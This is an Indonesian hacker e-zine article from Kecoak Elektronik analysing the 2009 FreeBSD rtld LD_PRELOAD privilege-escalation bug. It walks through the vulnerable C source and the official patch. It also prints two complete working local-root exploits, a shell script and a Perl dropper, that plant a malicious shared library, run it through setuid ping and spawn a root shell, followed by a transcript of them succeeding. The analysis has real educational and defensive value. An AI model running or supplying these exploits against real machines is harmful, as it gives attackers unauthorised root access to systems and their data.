Kecoak Elektronik Indonesia [ KEI ] http://www.kecoak-elektronik.net 24 Hours A Day, 300/1200 Baud Presents... #################################################################### TOKET - Terbitan Online Kecoak Elektronik Defending the classical hackers mind since 1995 Publisher : http://www.kecoak-elektronik.net Contact : staff@kecoak-elektronik.net #################################################################### Subject : RLTD FreeBSD Bugs Analysis Writer : elz of Kecoak Elektr0nik Indonesia Contact : staff@kecoak-elektronik.net Style : Unicode Transformation Format (UTF-8) --[1]-- Kecoak Elektronik License Kecoak Elektronik secara aktif mendukung Blue Ribbon Campaign. Kami akan berusaha untuk menerbitkan semua informasi yang kami anggap patut diketahui, baik dokumen teks, artikel majalah, atau surat kabar. Seluruh kredit akan diberikan kepada sang pengarang. Kecoak Elektronik tidak bertanggung jawab atas tindakan orang lain. Informasi yang disajikan di situs ini adalah untuk tujuan pendidikan dan informasionil belaka. Jika anda memutuskan untuk mengejawantahkan dalam bentuk apapun informasi yang tersimpan di situs ini, anda melakukan atas keputusan sendiri, dan tidak seorangpun selain anda bertanggung jawab atas tindakan tersebut. Dipersilahkan untuk mengambil sebagian atau seluruh dari isi artikel yang kami terbitkan dengan tetap mencantumkan kredit atas pengarang dan Kecoak Elektronik sebagai penerbit online. Artikel yang dikutip atau diambil tidak dapat dipergunakan untuk kepentingan komersil. --[2]-- Behind the stories Beberapa waktu yang lalu, hampir bertepatan dengan waktu direleasenya FreeBSD 8.0, Para pengguna FreeBSD di kejutkan (Hiperbola mode:On) oleh postingan yang cukup menggemparkan yang dipublish di fulldisclosure mailling list[1] oleh Kingcope a.k.a Nikolaos Rangos. Beberapa blog yang bertema security secara serantak memberitakan dan ikut mempublish bugs ini, termasuk di blog kecoak elektronik[2]. Seperti kemunculan berbagai public eXploit lainnya, Begitu pun kali ini, semua para penggiat security, baik itu dari para script kiddie, cracker, black/white hat tentu akan meresponnya dengan berbagai tindakan, yang menurut penulis sebagin besar adalah tindakan yang berbuntut negative, and i dont like it.. note: Yah, kegiatan kiddies memang menjengkelkan, mereka cuma tahu cara menggunakan sesuatu tanpa tahu sebab musabab yang terjadi. Mereka selalu mau tampil dan muncul di permukaan tanpa mengerti apa yang mereka bicarakan... Fvck off!!! Tulisan ini tidak bermaksud untuk menjelaskan ulang tentang alur dari bugs tersebut, apalagi sangat banyak penjelasan yang lebih bagus dari apa yang saya jelaskan disini. Namun saya belum melihat tulisan dalam bahasa indonesia yang menjelaskan alur dari RTLD bugs ini secara mendalam, selain dari itu tulisan ini lebih ditujukan buat para penggiat security di tanah air terutama bagi para pendatang baru agar dapat memahami secara mendalam tentang suatu bugs dan bagaimana kelemahan tersebut bisa terexploitasi sehingga bisa dijadikan sebagai senjata dalam proses privilege escalation. Intinya disini adalah, silahkan mengambil konsep dari tulisannya saja, karena saya yakin, pada saat tulisan ini di release, hampir bisa dipastikan bahwa sebagian besar server FreeBSD sudah terpatch dengan benar. Ok, lets move boy.. --[3]-- The Bugs Vulnerability yang diakui sudah ditemukan oleh stealth[3] beberapa waktu sebelum di muat di FD-List itu memanfaatkan bugs yang terdapat pada Run-Time Link-Editor, cacatnya terpadat pada code yang bisa anda lihat pada path /usr/src/libexec/rtld-elf/rtld.c pada sistem FreeBSD anda. Berikut screenshoot-nya (diambil dari FreeBSD 8.0-Release): --// func_ptr_type_rtld Routines \\ func_ptr_type _rtld(Elf_Addr *sp, func_ptr_type *exit_proc, Obj_Entry **objp) { Elf_Auxinfo *aux_info[AT_COUNT]; int i; ... trust = !issetugid(); ... /* * If the process is tainted, then we un-set the dangerous * environment variables. The process will be marked as * tainted until setuid(2) is called. If any child process * calls setuid(2) we do not want any future processes to * honor the potentially un-safe variables. */ if (!trust) { unsetenv(LD_ "PRELOAD"); unsetenv(LD_ "LIBMAP"); unsetenv(LD_ "LIBRARY_PATH"); unsetenv(LD_ "LIBMAP_DISABLE"); unsetenv(LD_ "DEBUG"); unsetenv(LD_ "ELF_HINTS_PATH"); } ... /* Return the exit procedure and the program entry point. */ *exit_proc = rtld_exit; *objp = obj_main; return (func_ptr_type) obj_main->entry; } -- Pada dasarnya ketika LD_PRELOAD dipanggil, maka kernel akan di- instruksikan untuk meload routines tertentu pada program atau objek yang bisa ditentukan sendiri oleh user. Fungsi func_ptr_type_rtld() diatas berguna ketika user membuild sebuah share library, maka akan dilakukan pengecekan terhadap binary yang memiliki flag setugid. Nah, pada kondisi dimana terdapat object atau binary yang memiliki flag setugid maka akan di ignore dengan fungsi unsetenv. Pada dasarnya fungsi ini dibuat untuk alasan security, dimana alur dari fungsi tersebut kira- kira seperti ini: Jika kondisinya benar (!trust) maka fungsi ini akan mendisable variable berbahaya seperti LD_PRELOAD dengan fungsi unsetenv. Persoalannya adalah return value dari fungsi unsetenv() ini tidak di check sama sekali. Sekarang mari kita lihat fungsi dari unsetenv(), screenshoot-nya seperti berikut: --// unsetenv Routine \\-- /* * Unset variable with the same name by flagging it as inactive. * No variable is ever freed. */ int unsetenv(const char *name) { int envNdx; size_t nameLen; /* Check for malformed name. */ if (name == NULL || (nameLen = __strleneq(name)) == 0) { errno = EINVAL; return (-1); } /* Initialize environment. */ if (__merge_environ() == -1 || (envVars == NULL && \ __build_env() == -1)) return (-1); /* Deactivate specified variable. */ envNdx = envVarsTotal - 1; if (__findenv(name, nameLen, &envNdx, true) != NULL) { envVars[envNdx].active = false; if (envVars[envNdx].putenv) __remove_putenv(envNdx); __rebuild_environ(envActive - 1); } return (0); } -- Fungsi unsetenv() ini akan melakukan pengecekan terhadap penamaan file dan panjang dari nama file tersebut, ketika name file sama dengan NULL dan nameLen = __strleneq(name) sama dengan NULL, maka fungsi unsetenv() akan mengembalikan nilai EINVAL. Pada baris berikutnya, fungsi ini akan menginisialisasi environmentnya dengan subroutine __merge_environ dan __build_env. Pada eXploit yang di develop oleh stealth[4], fungsi __merge_environ inilah yang menjadi penyebap utama kenapa bugs ini bisa di exploitasi. Untuk jelasnya mari kita lihat screenshootnya: --// __merge_environ subroutines \\-- static int __merge_environ(void) { char **env; char *equals; /* * Internally-built environ has been replaced or cleared * (detected by using the count of active variables against * a NULL as the first value in environ). Clean up everything. */ if (intEnviron != NULL && (environ != intEnviron || (envActive > 0 && environ[0] == NULL))) { /* Deactivate all environment variables. */ if (envActive > 0) { origEnviron = NULL; __clean_env(false); } /* * Insert new environ into existing, yet deactivated, * environment array. */ origEnviron = environ; if (origEnviron != NULL) for (env = origEnviron; *env != NULL; env++) { if ((equals = strchr(*env, '=')) == NULL) { __env_warnx(CorruptEnvValueMsg, *env, strlen(*env)); errno = EFAULT; return (-1); } if (__setenv(*env, equals - *env, equals + 1, 1) == -1) return (-1); } } return (0); } -- Pada fungsi __merge_environ tersebut akan melakukan pengecekan terhadap environment array dari objek yang akan di load, ketika tidak terdapat karakter "=", maka akan mengembalikan nilai -1 atau EXIT_FAILURE. Nilai kembalian dari fungsi __merge_environ ini yang akan diteruskan ke fungsi unsetenv(). Kalau kita kembali melihat fungsi unsetenv(), maka proses berikutnya adalah menginisialisasi varible envNdx ke dalam fungsi __findenv(), dimana index dari variable tersebut digunakan untuk menghapus nilai dari variable envVars dari array. Sekarang mari kita lihat dan perhatikan fungsi __findenv(): --// __findendev subroutines \\-- static inline char * __findenv(const char *name, size_t nameLen, int *envNdx, bool onlyActive) { int ndx; /* * Find environment variable from end of array * (more likely to be active). A variable created * by putenv is always active or it is not tracked * in the array. */ for (ndx = *envNdx; ndx >= 0; ndx--) if (envVars[ndx].putenv){ if (strncmpeq(envVars[ndx].name, name, nameLen)){ *envNdx = ndx; return (envVars[ndx].name + nameLen + sizeof ("=") - 1); } } else if ((!onlyActive || envVars[ndx].active) && (envVars[ndx].nameLen == nameLen && strncmpeq(envVars[ndx].name, name, nameLen))){ *envNdx = ndx; return (envVars[ndx].value); } return (NULL); } -- Ketika fungsi __findenv() mengembalikan nilai error, maka fungsi unsetenv() akan keluar dengan kondisi error pula, oleh karena fungsi _rtld() tidak melakukan pengecekan terhadap nilai kembalian pada saat menginisialisasi variable dengan fungsi unsetenv() maka bisa dipastikan bahwa variable yang memiliki flag setugid yang gagal di remove oleh unsetenv() akan tetap berada pada elemen array sehingga tetap bisa dimasukan kedalam environment LD_PRELOAD. Kondisi seperti diatas-lah yang menyebabkan bugs ini cukup berbahaya, karena dengan melakukan LD_PRELOAD dengan variable yang memiliki flag setugid seperti ping atau su maka kita secara langsung bisa mendapatkan akses setingkat dengan root. How it works? mari kita lihat bagaimana cara pemanfaatan bugs ini untuk melakukan instant privileges escalation. --[4]-- The Exp0itation Dengan kondisi seperti yang digambarkan sebelumnya, seorang attacker akan dengan mudah mendapatkan access root hanya dengan memberi trigger sederhana dengan pola kira-kira seperti berikut: - Membuat sebuah relocatable file yang nantinya akan di load ke dalam envirenment LD_PRELOAD yang isinya mensetup variable environ ke NULL. - Melakukan setting terhadap environment array untuk mentrigger kegagalan unsetenv() dengan relocatable file yang telah kita siapkan. - Meng-eksekusi binary yang memiliki flag setugid seperti ping atau su. - Berikutnya membuka atau shell dengan privileges setingkat dengan root. Alur algoritma sederhana diatas di-implementasikan oleh 2 public exploit yang beredar pada saat ini yaitu versi kcope[1] dan versi stealth[4]. Tidak ada perbedaan yang terlalu jauh diantara keduanya, kcope membuat- nya secara lebih sederhana, sedangkan stealth merakit exploitnya dengan tingkat reliable yang lebih baik. Untuk pertama kali saya akan menjelaskan alur dari exploit yang dibuat oleh kcope yang tentu anda-anda semua sudah pernah mencobanya. Mari kita lihat source code dari exploit-nya: --// RTLD Exploit by Kcope \\-- #!/bin/sh echo ** FreeBSD local r00t zeroday echo by Kingcope echo November 2009 cat > env.c << _EOF #include main() { extern char **environ; environ = (char**)malloc(8096); environ[0] = (char*)malloc(1024); environ[1] = (char*)malloc(1024); strcpy(environ[1], "LD_PRELOAD=/tmp/w00t.so.1.0"); execl("/sbin/ping", "ping", 0); } _EOF gcc env.c -o env cat > program.c << _EOF #include #include #include #include void _init() { extern char **environ; environ=NULL; system("echo ALEX-ALEX;/bin/sh"); } _EOF gcc -o program.o -c program.c -fPIC gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfiles cp w00t.so.1.0 /tmp/w00t.so.1.0 ./env -- Seperti yang anda lihat diatas, Source code dari exploit tersebut terdiri dari 2 code program dalam bahasa C, yaitu program.c dan env.c. program.c adalah sebuah library yang mengeset nilai dari variable environ ke NULL dan kemudian menjalankan command system, dalam hal ini echo dan /bin/sh (echo hanya sekedar untuk gaya-gayaan). Kenapa perlu variable environ di set ke NULL, hal tersebut dilakukan agar kita bisa mengcopy LD_PRELOAD environment ke heap. Code program kedua adalah env.c, dimana code tersebut akan mengeset uninitialized heap dengan "LD_PRELOAD=/tmp/w00t.so.1.0", kemudian akan mengeksuksi ping yang memiliki flag setugid. Karena kegagalan unsetenv() dalam menghapus binary yang memiliki flag setugid, maka pada saat kita mengeksekusi /bin/sh dengan root privileges, tentu yang muncul adalah shell root. Bingo!!! Exploit kedua yang mengeksploitasi rtld bugs ini adalah exploit buatan stealth. Exploit ini secara algoritma hampir sama dengan exploit yang direlease oleh kcope, sedikit perbedaan ada pada tingkat kehandalan dalam membangkitkan rootshell. --// RTLD exploit by Stealth \\-- ... sub drop_boomsh { open(O,">/tmp/boomsh.c") or die $!; print O<<_EOB_; #include #include #include int main() { char *a[]={"/bin/sh", NULL }; char *b[]={"/usr/local/bin/bash", NULL }; setuid(0); setgid(0); unlink("/tmp/trigger"); unlink("/tmp/trigger.c"); unlink("/tmp/te.so"); unlink("/tmp/te.c"); unlink("/tmp/boomsh.c"); execve(*b, b, NULL); execve(*a, a, NULL); } _EOB_ close O; system("cc /tmp/boomsh.c -o /tmp/boomsh"); } sub drop_trigger { open(O,">/tmp/trigger.c") or die $!; print O<<_EOT_; #include #include int main() { char *a[]={"/sbin/ping", NULL}; char *e[]={"LD_PRELOAD=/tmp/te.so", "YYY", NULL}; execve(*a,a,e); } _EOT_ close O; system("cc /tmp/trigger.c -o /tmp/trigger"); } sub drop_teso { open(O, ">/tmp/te.c") or die $!; print O<<_EOS_; #include #include void _init() { chown("/tmp/boomsh", 0, 0); chmod("/tmp/boomsh", 04755); } _EOS_ close O; system("gcc -fPIC -shared -nostartfiles /tmp/te.c -o /tmp/te.so"); } print "FreeBSD rtld local root exploit. Need gcc installed. Trying...\n"; drop_boomsh(); drop_teso(); drop_trigger(); system("/tmp/trigger"); exec "/tmp/boomsh"; print "Failed!\n"; --- Exploit yang dibinding dalam bahasa perl diatas terdiri dari 3 code program C yaitu boomsh.c, trigger.c dan te.c. Tidak perlu dijelaskan ulang karena hampir sama dengan exploit sebelumnya, cuma disini stealth melakukan setting setuid dan setgid ke 0 sebelum membangkitkan shell. Kenapa penulis mengatakan bahwa expolit versi stealth lebih handal? penjelasannya bisa anda perhatikan dengan PoC berikut: --// PoC \\-- [elz@kecoak-elektr0nik ~]$ uname -rs FreeBSD 8.0-RELEASE [elz@kecoak-elektr0nik ~]$ sh newsploit.sh FreeBSD local r00t zeroday by Kingcope November 2009 /libexec/ld-elf.so.1: environment corrupt; missing value for /libexec/ld-elf.so.1: environment corrupt; missing value for /libexec/ld-elf.so.1: environment corrupt; missing value for /libexec/ld-elf.so.1: environment corrupt; missing value for /libexec/ld-elf.so.1: environment corrupt; missing value for /libexec/ld-elf.so.1: environment corrupt; missing value for # id uid=1001(elz) gid=0(wheel) euid=0(root) groups=0(wheel) # su Password: su: Sorry # exit ... [elz@kecoak-elektr0nik ~]$ perl fbsd-rtld-full-package FreeBSD rtld local root exploit. Need gcc installed. Trying... /libexec/ld-elf.so.1: environment corrupt; missing value for YYY /libexec/ld-elf.so.1: environment corrupt; missing value for YYY /libexec/ld-elf.so.1: environment corrupt; missing value for YYY /libexec/ld-elf.so.1: environment corrupt; missing value for YYY /libexec/ld-elf.so.1: environment corrupt; missing value for YYY /libexec/ld-elf.so.1: environment corrupt; missing value for YYY ... [root@kecoak-elektr0nik /usr/home/elz]# id uid=0(root) gid=0(wheel) groups=0(wheel) [root@kecoak-elektr0nik /usr/home/elz]# su kecoak-elektr0nik# --- The End. --[5]-- Patch! Keterlambatan dari FreeBSD Security Team dalam merespon issue RTLD ini mendapat tanggapan yang tidak baik dari para penggiat security. Lebih dari 24 jam RTLD bugs ini dibiarkan begitu saja menjadi mainan script kiddie, walaupun cperciva sudah merelease un-official patch[5]. Dan yang membuat saya secara pribadi sedikit bingung adalah ketika FreeBSD Security Team merelease patch secara resmi[6], tidak ada perbedaan sama sekali dengan versi un-official buatan cperciva. Okey, kita tidak usah membahas kebingugan yang saya alami, mari kita lihat patch yang di- release oleh FreeBSD Security Team: --// RTLD Patch (for FreeBSD 8.0)\\-- Index: libexec/rtld-elf/rtld.c =================================================================== --- libexec/rtld-elf/rtld.c (revision 199978) +++ libexec/rtld-elf/rtld.c (revision 199979) @@ -366,12 +366,12 @@ * future processes to honor the potentially un-safe variables. */ if (!trust) { - unsetenv(LD_ "PRELOAD"); - unsetenv(LD_ "LIBMAP"); - unsetenv(LD_ "LIBRARY_PATH"); - unsetenv(LD_ "LIBMAP_DISABLE"); - unsetenv(LD_ "DEBUG"); - unsetenv(LD_ "ELF_HINTS_PATH"); + if (unsetenv(LD_ "PRELOAD") || unsetenv(LD_ "LIBMAP") || + unsetenv(LD_ "LIBRARY_PATH") || unsetenv(LD_ "LIBMAP_DISABLE") || + unsetenv(LD_ "DEBUG") || unsetenv(LD_ "ELF_HINTS_PATH")) { + _rtld_error("environment corrupt; aborting"); + die(); + } } ld_debug = getenv(LD_ "DEBUG"); libmap_disable = getenv(LD_ "LIBMAP_DISABLE") != NULL; -- Keep on mind, Patch diatas ditujukan buat FreeBSD versi 8.0, untuk FreeBSD versi 7.x anda harus menghilangkan variable ELF_HINTS_PATH, karena pada versi 7.x variable tersebut tidak disupport. Kembali ke patch diatas, FreeBSD Security Team hanya melakukan pengecekan terhadap nilai kembalian dari fungsi unsetenv() seperti ini.. if (unsetenv(LD_ "PRELOAD") ...)){ _rtld_error("environment corrupt; aborting"); die(); Pengecekan dilakukan terhadap pesan kesalahan yang di berikan oleh fungsi _rtld_error(). Ketika pesan kesalahan berisi string "environment corrupt; aborting" maka proses akan dihentikan dengan fungsi die(). Apakah anda merasa sudah aman ketika telah melakukan patching dengan patch tersebut? Mudah-mudahan tidak, karena sampai saat ini, permasalahan mendasar yang menjadi kelemahan utama dari rtld bugs tersebut belum di sentuh sama sekali oleh FreeBSD Security Team. Apakah ada cara lain untuk melakukan bypass terhadap patch diatas? Please open your mind before! --[6]-- Close Words So many ways to hack human stupidity out there. So many beautiful thing you need to know about hacking world. So never say you dont know what do you want to do with your fucking box. Hails hackerz! Hack till the end! Kecoak Elektronik s0ldier! Electr0nic Zombie note: Landasan utama dari tulisan ini mengacu pada tulisan yang dimuat di blog xorl[7]. greetz: "Special Thanks to Xorl for great explanation on this issue, you are rock man!" --[7]-- Link and Reference [1]http://seclists.org/fulldisclosure/2009/Nov/371 [2]http://www.kecoak-elektronik.net/log/2009/12/01/freebsd-rtld-0day-exploit/ [3]http://c-skills.blogspot.com/2009/11/always-check-return-value.html [4]http://stealth.openwall.net/xSports/fbsd-rtld-full-package [5]http://people.freebsd.org/~cperciva/rtld.patch [6]http://security.freebsd.org/advisories/FreeBSD-SA-09:16.rtld.asc [7]http://xorl.wordpress.com/2009/12/01/freebsd-ld_preload-security-bypass/ ----------------------------------------------------------------------- Copyleft Unreserved by Law 1995 - 2010 Kecoak Elektronik Indonesia http://www.kecoak-elektronik.net